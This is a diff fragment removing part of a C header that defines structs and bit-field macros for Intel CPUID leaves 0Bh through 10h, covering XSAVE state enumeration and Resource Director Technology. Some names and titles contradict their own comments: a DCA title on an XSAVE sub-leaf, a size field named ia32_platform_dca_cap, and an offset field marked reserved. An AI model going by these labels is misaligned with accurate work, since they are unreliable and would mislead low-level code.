-#define CPUID_ECX_LEVEL_TYPE_BIT 8 -#define CPUID_ECX_LEVEL_TYPE_FLAG 0xFF00 -#define CPUID_ECX_LEVEL_TYPE_MASK 0xFF -#define CPUID_ECX_LEVEL_TYPE(_) (((_) >> 8) & 0xFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] x2APIC ID the current logical processor. - */ - uint32_t x2apic_id : 32; -#define CPUID_EDX_X2APIC_ID_BIT 0 -#define CPUID_EDX_X2APIC_ID_FLAG 0xFFFFFFFF -#define CPUID_EDX_X2APIC_ID_MASK 0xFFFFFFFF -#define CPUID_EDX_X2APIC_ID(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0b; - -/** - * @defgroup cpuid_eax_0d \ - * EAX = 0x0D - * - * When CPUID executes with EAX set to 0DH and ECX = 0, the processor returns information about the bit-vector - * representation of all processor state extensions that are supported in the processor and storage size requirements of - * the XSAVE/XRSTOR area. - * When CPUID executes with EAX set to 0DH and ECX = n (n > 1, and is a valid sub-leaf index), the processor returns - * information about the size and offset of each processor extended state save area within the XSAVE/XRSTOR area. Software - * can use the forward-extendable technique depicted below to query the valid sub-leaves and obtain size and offset - * information for each processor extended state save area: - *
 For i = 2 to 62 // sub-leaf 1 is reserved IF (CPUID.(EAX=0DH, ECX=0):VECTOR[i] = 1) // VECTOR is the 64-bit value
- * of EDX:EAX Execute CPUID.(EAX=0DH, ECX = i) to examine size and offset for sub-leaf i; FI; 
- * @{ - */ -#define CPUID_EXTENDED_STATE_INFORMATION 0x0000000D - /** - * @brief Processor Extended State Enumeration Main Leaf (EAX = 0DH, ECX = 0) - */ -typedef struct -{ - /** - * @brief Reports the supported bits of the lower 32 bits of XCR0. XCR0[n] can be set to 1 only if EAX[n] is 1 - */ - union - { - struct - { - /** - * [Bit 0] x87 state. - */ - uint32_t x87_state : 1; -#define CPUID_EAX_X87_STATE_BIT 0 -#define CPUID_EAX_X87_STATE_FLAG 0x01 -#define CPUID_EAX_X87_STATE_MASK 0x01 -#define CPUID_EAX_X87_STATE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] SSE state. - */ - uint32_t sse_state : 1; -#define CPUID_EAX_SSE_STATE_BIT 1 -#define CPUID_EAX_SSE_STATE_FLAG 0x02 -#define CPUID_EAX_SSE_STATE_MASK 0x01 -#define CPUID_EAX_SSE_STATE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] AVX state. - */ - uint32_t avx_state : 1; -#define CPUID_EAX_AVX_STATE_BIT 2 -#define CPUID_EAX_AVX_STATE_FLAG 0x04 -#define CPUID_EAX_AVX_STATE_MASK 0x01 -#define CPUID_EAX_AVX_STATE(_) (((_) >> 2) & 0x01) - - /** - * [Bits 4:3] MPX state. - */ - uint32_t mpx_state : 2; -#define CPUID_EAX_MPX_STATE_BIT 3 -#define CPUID_EAX_MPX_STATE_FLAG 0x18 -#define CPUID_EAX_MPX_STATE_MASK 0x03 -#define CPUID_EAX_MPX_STATE(_) (((_) >> 3) & 0x03) - - /** - * [Bits 7:5] AVX-512 state. - */ - uint32_t avx_512_state : 3; -#define CPUID_EAX_AVX_512_STATE_BIT 5 -#define CPUID_EAX_AVX_512_STATE_FLAG 0xE0 -#define CPUID_EAX_AVX_512_STATE_MASK 0x07 -#define CPUID_EAX_AVX_512_STATE(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Used for IA32_XSS. - */ - uint32_t used_for_ia32_xss_1 : 1; -#define CPUID_EAX_USED_FOR_IA32_XSS_1_BIT 8 -#define CPUID_EAX_USED_FOR_IA32_XSS_1_FLAG 0x100 -#define CPUID_EAX_USED_FOR_IA32_XSS_1_MASK 0x01 -#define CPUID_EAX_USED_FOR_IA32_XSS_1(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] PKRU state. - */ - uint32_t pkru_state : 1; -#define CPUID_EAX_PKRU_STATE_BIT 9 -#define CPUID_EAX_PKRU_STATE_FLAG 0x200 -#define CPUID_EAX_PKRU_STATE_MASK 0x01 -#define CPUID_EAX_PKRU_STATE(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 3; - - /** - * [Bit 13] Used for IA32_XSS. - */ - uint32_t used_for_ia32_xss_2 : 1; -#define CPUID_EAX_USED_FOR_IA32_XSS_2_BIT 13 -#define CPUID_EAX_USED_FOR_IA32_XSS_2_FLAG 0x2000 -#define CPUID_EAX_USED_FOR_IA32_XSS_2_MASK 0x01 -#define CPUID_EAX_USED_FOR_IA32_XSS_2(_) (((_) >> 13) & 0x01) - uint32_t reserved2 : 18; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) required by enabled features in XCR0. - * May be different than ECX if some features at the end of the XSAVE save area are not enabled. - */ - uint32_t max_size_required_by_enabled_features_in_xcr0 : 32; -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_BIT 0 -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_FLAG 0xFFFFFFFF -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_MASK 0xFFFFFFFF -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) of the XSAVE/XRSTOR save area - * required by all supported features in the processor, i.e., all the valid bit fields in XCR0. - */ - uint32_t max_size_of_xsave_xrstor_save_area : 32; -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_BIT 0 -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_FLAG 0xFFFFFFFF -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_MASK 0xFFFFFFFF -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Reports the supported bits of the upper 32 bits of XCR0. XCR0[n+32] can be set to 1 only if EDX[n] is 1. - */ - uint32_t xcr0_supported_bits : 32; -#define CPUID_EDX_XCR0_SUPPORTED_BITS_BIT 0 -#define CPUID_EDX_XCR0_SUPPORTED_BITS_FLAG 0xFFFFFFFF -#define CPUID_EDX_XCR0_SUPPORTED_BITS_MASK 0xFFFFFFFF -#define CPUID_EDX_XCR0_SUPPORTED_BITS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0d_ecx_00; - -/** - * @brief Direct Cache Access Information Leaf - */ -typedef struct -{ - union - { - struct - { - uint32_t reserved1 : 1; - - /** - * [Bit 1] Supports XSAVEC and the compacted form of XRSTOR if set. - */ - uint32_t supports_xsavec_and_compacted_xrstor : 1; -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_BIT 1 -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_FLAG 0x02 -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_MASK 0x01 -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports XGETBV with ECX = 1 if set. - */ - uint32_t supports_xgetbv_with_ecx_1 : 1; -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_BIT 2 -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_FLAG 0x04 -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_MASK 0x01 -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Supports XSAVES/XRSTORS and IA32_XSS if set. - */ - uint32_t supports_xsave_xrstor_and_ia32_xss : 1; -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_BIT 3 -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_FLAG 0x08 -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_MASK 0x01 -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS(_) (((_) >> 3) & 0x01) - uint32_t reserved2 : 28; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] The size in bytes of the XSAVE area containing all states enabled by XCRO | IA32_XSS. - */ - uint32_t size_of_xsave_aread : 32; -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_BIT 0 -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_FLAG 0xFFFFFFFF -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_MASK 0xFFFFFFFF -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 7:0] Used for XCR0. - */ - uint32_t used_for_xcr0_1 : 8; -#define CPUID_ECX_USED_FOR_XCR0_1_BIT 0 -#define CPUID_ECX_USED_FOR_XCR0_1_FLAG 0xFF -#define CPUID_ECX_USED_FOR_XCR0_1_MASK 0xFF -#define CPUID_ECX_USED_FOR_XCR0_1(_) (((_) >> 0) & 0xFF) - - /** - * [Bit 8] PT state. - */ - uint32_t pt_state : 1; -#define CPUID_ECX_PT_STATE_BIT 8 -#define CPUID_ECX_PT_STATE_FLAG 0x100 -#define CPUID_ECX_PT_STATE_MASK 0x01 -#define CPUID_ECX_PT_STATE(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Used for XCR0. - */ - uint32_t used_for_xcr0_2 : 1; -#define CPUID_ECX_USED_FOR_XCR0_2_BIT 9 -#define CPUID_ECX_USED_FOR_XCR0_2_FLAG 0x200 -#define CPUID_ECX_USED_FOR_XCR0_2_MASK 0x01 -#define CPUID_ECX_USED_FOR_XCR0_2(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 3; - - /** - * [Bit 13] HWP state. - */ - uint32_t hwp_state : 1; -#define CPUID_ECX_HWP_STATE_BIT 13 -#define CPUID_ECX_HWP_STATE_FLAG 0x2000 -#define CPUID_ECX_HWP_STATE_MASK 0x01 -#define CPUID_ECX_HWP_STATE(_) (((_) >> 13) & 0x01) - uint32_t reserved2 : 18; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0d_ecx_01; - -/** - * @brief Processor Extended State Enumeration Sub-leaves (EAX = 0DH, ECX = n, n > 1) - * - * @note Leaf 0DH output depends on the initial value in ECX. Each sub-leaf index (starting at position 2) is supported if - * it corresponds to a supported bit in either the XCR0 register or the IA32_XSS MSR. - * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf n (0 <= n <= 31) is invalid if sub-leaf 0 - * returns 0 in EAX[n] and sub-leaf 1 returns 0 in ECX[n]. Sub-leaf n (32 <= n <= 63) is invalid if sub-leaf 0 returns 0 in - * EDX[n-32] and sub-leaf 1 returns 0 in EDX[n-32]. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] The size in bytes (from the offset specified in EBX) of the save area for an extended state feature - * associated with a valid sub-leaf index, n. - */ - uint32_t ia32_platform_dca_cap : 32; -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] The offset in bytes of this extended state component's save area from the beginning of the XSAVE/XRSTOR - * area. - * This field reports 0 if the sub-leaf index, n, does not map to a valid bit in the XCR0 register. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] Is set if the bit n (corresponding to the sub-leaf index) is supported in the IA32_XSS MSR; it is clear if bit n - * is instead supported in XCR0. - */ - uint32_t ecx_2 : 1; -#define CPUID_ECX_ECX_2_BIT 0 -#define CPUID_ECX_ECX_2_FLAG 0x01 -#define CPUID_ECX_ECX_2_MASK 0x01 -#define CPUID_ECX_ECX_2(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Is set if, when the compacted format of an XSAVE area is used, this extended state component located on the next - * 64-byte boundary following the preceding state component (otherwise, it is located immediately following the preceding - * state component). - */ - uint32_t ecx_1 : 1; -#define CPUID_ECX_ECX_1_BIT 1 -#define CPUID_ECX_ECX_1_FLAG 0x02 -#define CPUID_ECX_ECX_1_MASK 0x01 -#define CPUID_ECX_ECX_1(_) (((_) >> 1) & 0x01) - uint32_t reserved1 : 30; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] This field reports 0 if the sub-leaf index, n, is invalid; otherwise it is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0d_ecx_n; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_0f \ - * EAX = 0x0F - * - * When CPUID executes with EAX set to 0FH and ECX = 0, the processor returns information about the bit-vector - * representation of QoS monitoring resource types that are supported in the processor and maximum range of RMID values the - * processor can use to monitor of any supported resource types. Each bit, starting from bit 1, corresponds to a specific - * resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) that software must use to - * query QoS monitoring capability available for that type. See Table 3-8. - * When CPUID executes with EAX set to 0FH and ECX = n (n >= 1, and is a valid ResID), the processor returns information - * software can use to program IA32_PQR_ASSOC, IA32_QM_EVTSEL MSRs before reading QoS data from the IA32_QM_CTR MSR. - * @{ - */ -#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_MONITORING_INFORMATION 0x0000000F - /** - * @brief Intel Resource Director Technology (Intel RDT) Monitoring Enumeration Sub-leaf (EAX = 0FH, ECX = 0) - * - * @note Leaf 0FH output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource type starting at bit - * position 1 of EDX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. - */ - uint32_t rmid_max_range : 32; -#define CPUID_EBX_RMID_MAX_RANGE_BIT 0 -#define CPUID_EBX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF -#define CPUID_EBX_RMID_MAX_RANGE_MASK 0xFFFFFFFF -#define CPUID_EBX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - uint32_t reserved1 : 1; - - /** - * [Bit 1] Supports L3 Cache Intel RDT Monitoring if 1. - */ - uint32_t supports_l3_cache_intel_rdt_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_BIT 1 -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_FLAG 0x02 -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING(_) (((_) >> 1) & 0x01) - uint32_t reserved2 : 30; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0f_ecx_00; - -/** - * @brief L3 Cache Intel RDT Monitoring Capability Enumeration Sub-leaf (EAX = 0FH, ECX = 1) - * - * @note Leaf 0FH output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Conversion factor from reported IA32_QM_CTR value to occupancy metric (bytes). - */ - uint32_t conversion_factor : 32; -#define CPUID_EBX_CONVERSION_FACTOR_BIT 0 -#define CPUID_EBX_CONVERSION_FACTOR_FLAG 0xFFFFFFFF -#define CPUID_EBX_CONVERSION_FACTOR_MASK 0xFFFFFFFF -#define CPUID_EBX_CONVERSION_FACTOR(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. - */ - uint32_t rmid_max_range : 32; -#define CPUID_ECX_RMID_MAX_RANGE_BIT 0 -#define CPUID_ECX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF -#define CPUID_ECX_RMID_MAX_RANGE_MASK 0xFFFFFFFF -#define CPUID_ECX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bit 0] Supports L3 occupancy monitoring if 1. - */ - uint32_t supports_l3_occupancy_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_BIT 0 -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_FLAG 0x01 -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Supports L3 Total Bandwidth monitoring if 1. - */ - uint32_t supports_l3_total_bandwidth_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_BIT 1 -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_FLAG 0x02 -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports L3 Local Bandwidth monitoring if 1. - */ - uint32_t supports_l3_local_bandwidth_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_BIT 2 -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_FLAG 0x04 -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 29; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0f_ecx_01; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_10 \ - * EAX = 0x10 - * - * When CPUID executes with EAX set to 10H and ECX = 0, the processor returns information about the bit-vector - * representation of QoS Enforcement resource types that are supported in the processor. Each bit, starting from bit 1, - * corresponds to a specific resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) - * that software must use to query QoS enforcement capability available for that type. - * When CPUID executes with EAX set to 10H and ECX = n (n >= 1, and is a valid ResID), the processor returns information - * about available classes of service and range of QoS mask MSRs that software can use to configure each class of services - * using capability bit masks in the QoS Mask registers, IA32_resourceType_Mask_n. - * @{ - */ -#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_ALLOCATION_INFORMATION 0x00000010 - /** - * @brief Intel Resource Director Technology (Intel RDT) Allocation Enumeration Sub-leaf (EAX = 10H, ECX = 0) - * - * @note Leaf 10H output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource identification - * (ResID) starting at bit position 1 of EBX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). - */ - uint32_t ia32_platform_dca_cap : 32; -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - uint32_t reserved1 : 1; - - /** - * [Bit 1] Supports L3 Cache Allocation Technology if 1. - */ - uint32_t supports_l3_cache_allocation_technology : 1; -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_BIT 1 -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x02 -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports L2 Cache Allocation Technology if 1. - */ - uint32_t supports_l2_cache_allocation_technology : 1; -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_BIT 2 -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x04 -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Supports Memory Bandwidth Allocation if 1. - */ - uint32_t supports_memory_bandwidth_allocation : 1; -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_BIT 3 -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_FLAG 0x08 -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_MASK 0x01 -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION(_) (((_) >> 3) & 0x01) - uint32_t reserved2 : 28; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_00; - -/** - * @brief L3 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 1) - * - * @note Leaf 10H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. - */ - uint32_t length_of_capacity_bit_mask : 5; -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) - uint32_t reserved1 : 27; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. - */ - uint32_t ebx_0 : 32; -#define CPUID_EBX_EBX_0_BIT 0 -#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF -#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF -#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - uint32_t reserved1 : 2; - - /** - * [Bit 2] Code and Data Prioritization Technology supported if 1. - */ - uint32_t code_and_data_priorization_technology_supported : 1; -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_BIT 2 -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_FLAG 0x04 -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_MASK 0x01 -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED(_) (((_) >> 2) & 0x01) - uint32_t reserved2 : 29; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 15:0] Highest COS number supported for this ResID. - */ - uint32_t highest_cos_number_supported : 16; -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_01; - -/** - * @brief L2 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 2) - * - * @note Leaf 10H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. - */ - uint32_t length_of_capacity_bit_mask : 5; -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) - uint32_t reserved1 : 27; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. - */ - uint32_t ebx_0 : 32; -#define CPUID_EBX_EBX_0_BIT 0 -#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF -#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF -#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 15:0] Highest COS number supported for this ResID. - */ - uint32_t highest_cos_number_supported : 16; -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_02; - -/** - * @brief Memory Bandwidth Allocation Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 3) - * - * @note Leaf 10H output depends on the initial value in ECX. - */ 